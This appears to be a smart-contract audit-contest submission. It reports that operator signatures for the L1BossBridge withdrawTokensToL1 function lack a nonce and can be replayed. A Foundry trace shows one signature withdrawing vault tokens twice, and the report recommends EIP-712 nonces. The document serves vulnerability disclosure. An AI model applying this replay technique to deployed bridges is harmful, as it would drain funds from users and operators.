Submission Details
Severity:
Operator signature can be replayed when calling `withdrawTokensToL1`
Summary
The withdrawTokensToL1 function in L1BossBridge.sol contract is meant to be authorized by a set of signers. Their signature should be used to prevent replay attacks. We have observed that the current way the signature is computed does not effectively prevent a single valid signature to be re-used multiple times.
Vulnerability Details
In the following test, you can observe that a call to the withdrawal function using the same signature twice:
[PASS] testSignatureCanBeReplayed() (gas: 96292)
Traces:
[100505] L1BossBridgeTest::testSignatureCanBeReplayed()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [2562] L1Token::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1000000000000000000000 [1e21]
├─ [24739] L1Token::approve(L1BossBridge: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 10000000000000000000 [1e19])
│ ├─ emit Approval(owner: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], spender: L1BossBridge: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], value: 10000000000000000000 [1e19])
│ └─ ← true
├─ [30224] L1BossBridge::depositTokensToL2(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], userInL2: [0x7e8cC97F47B22E28B1092403d7DA1Bd51D9d6aDb], 10000000000000000000 [1e19])
│ ├─ [2562] L1Token::balanceOf(L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7]) [staticcall]
│ │ └─ ← 0
│ ├─ [21490] L1Token::transferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], 10000000000000000000 [1e19])
│ │ ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], value: 10000000000000000000 [1e19])
│ │ └─ ← true
│ ├─ emit Deposit(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: userInL2: [0x7e8cC97F47B22E28B1092403d7DA1Bd51D9d6aDb], amount: 10000000000000000000 [1e19])
│ └─ ← ()
├─ [0] VM::sign(<pk>, 0x9344c9f42a86808cf7dd4e2c878db178c432f0d6433706af258404a65efa7e31) [staticcall]
│ └─ ← 27, 0xce07d0422aca6757f8596e096d89c90167a10cc0e14d3dfc56b30bbf3551805c, 0x28eca0482e96390ce14d4dac859736049c50e3fe60fff9397be7a57128983b7f
├─ [17359] L1BossBridge::withdrawTokensToL1(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 5000000000000000000 [5e18], 27, 0xce07d0422aca6757f8596e096d89c90167a10cc0e14d3dfc56b30bbf3551805c, 0x28eca0482e96390ce14d4dac859736049c50e3fe60fff9397be7a57128983b7f)
│ ├─ [3000] PRECOMPILE::ecrecover(0x9344c9f42a86808cf7dd4e2c878db178c432f0d6433706af258404a65efa7e31, 27, 93190252084709317461461913342273979204225553525280615319433077988110193754204 [9.319e76], 18510596076056164275737986939685622195529421582130321071425084381862372588415 [1.851e76]) [staticcall]
│ │ └─ ← operator: [0xbC32b0FCDb9b55F5ECE07BA7F8059bA42D331F4C]
│ ├─ [5723] L1Token::transferFrom(L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 5000000000000000000 [5e18])
│ │ ├─ emit Transfer(from: L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], value: 5000000000000000000 [5e18])
│ │ └─ ← true
│ └─ ← ()
├─ [11328] L1BossBridge::withdrawTokensToL1(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 5000000000000000000 [5e18], 27, 0xce07d0422aca6757f8596e096d89c90167a10cc0e14d3dfc56b30bbf3551805c, 0x28eca0482e96390ce14d4dac859736049c50e3fe60fff9397be7a57128983b7f)
│ ├─ [3000] PRECOMPILE::ecrecover(0x9344c9f42a86808cf7dd4e2c878db178c432f0d6433706af258404a65efa7e31, 27, 93190252084709317461461913342273979204225553525280615319433077988110193754204 [9.319e76], 18510596076056164275737986939685622195529421582130321071425084381862372588415 [1.851e76]) [staticcall]
│ │ └─ ← operator: [0xbC32b0FCDb9b55F5ECE07BA7F8059bA42D331F4C]
│ ├─ [2979] L1Token::transferFrom(L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 5000000000000000000 [5e18])
│ │ ├─ emit Transfer(from: L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], value: 5000000000000000000 [5e18])
│ │ └─ ← true
│ └─ ← ()
└─ ← ()
Impact
User(s) can execute a withdrawal from L2 to L1 without requiring an operator's confirmation.
Tools Used
VSCode, Foundry
Recommendations
We recommend utilising nonces when generating EIP-712 signatures to ensure withdrawTokensToL1 can only be called once. When a nonce is injected into a signature, it makes it impossible for re-use, assuming of course the nonce feature is done correctly.
Updates
Lead Judging Commences
0xnevi almost 2 years ago
Submission Judgement Published Assigned finding tags:
withdrawTokensToL1()/sendToL1(): signature replay
Rewards breakdown
nSLOC
99This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.